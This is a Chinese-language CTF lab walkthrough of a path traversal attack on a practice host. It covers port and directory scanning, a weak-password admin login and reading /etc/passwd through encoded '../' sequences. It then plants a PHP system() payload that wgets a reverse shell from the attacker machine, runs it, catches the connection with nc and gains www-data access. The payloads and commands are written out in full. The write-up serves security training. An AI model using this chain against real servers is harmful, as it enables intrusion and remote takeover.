CTF靶场训练-目遍历漏洞

Background

路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过槽中带有“点-斜线(..)” 序列及其变化的文件或使用绝对文件路径来应用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置或关键系统文件。 这种攻击也称为“点-点斜线”、 “目录遍历”、 “目录爬升” 和 “回溯” 。

实验环境

攻击机 kali linux : 10.0.2.15
靶场机器 linux : 10.0.2.12

信息探测

先对靶场机器进行信息的收集
扫描开放的端口或服务
nmap -sV 10.0.2.12
image

扫描开放80端口http服务下的文件

1
root@kali:~# dirb http://10.0.2.12/

image

发现疑似管理后台的页面

image
image

通过弱口令“admin”成功登陆后台
image

通过漏洞扫描器owasp-zap进行扫描
image

发现路径遍历漏洞

1
http://10.0.2.12/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

image

漏洞利用

此时,知道服务器存在路径遍历漏洞,而且通过弱口令进入后台
想拿下该靶机的root权限,可以上传webshell,利用路径遍历执行webshell。

制作一个phpwebshell

1
2
3
4
5
6
root@kali:~# ls /usr/share/webshells/php/
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php test/shell.php
root@kali:~# ls test/
shell.php

设置shell脚本的IP和监听端口
image

利用管理后台创建一个shell.php的数据库(就是一个php后缀的文件)
image

创建完数据库,创建表和字段
image

选择字段类型为txt,默认值为一段php代码,代码如下

1
<?php system("cd /tmp;wget http://10.0.2.15/shell.php;chmod +x shell.php;php shell.php;") ?>

image
代码的作用是通过system函数执行系统命令,下载一个webshell并用php执行。

所以需要仔kali搭建http服务端
可以用python简易搭建

1
2
root@kali:~/test# python -m "SimpleHTTPServer"
Serving HTTP on 0.0.0.0 port 8000 ...

由于端口是8000,需要重新指定端口,重新创建一张表
image
image

使用nc进行监听1234端口

1
2
3
4
root@kali:~/test# nc -nvlp 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

利用目录遍历漏洞访问shell.php,应为是一个php文件,如果里面有php代码就会被解析执行

1
http://10.0.2.12/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr/databases/shell.php

浏览器执行,卡顿后,返回监听端口查看
image
这样就获取到靶机的www-data用户的权限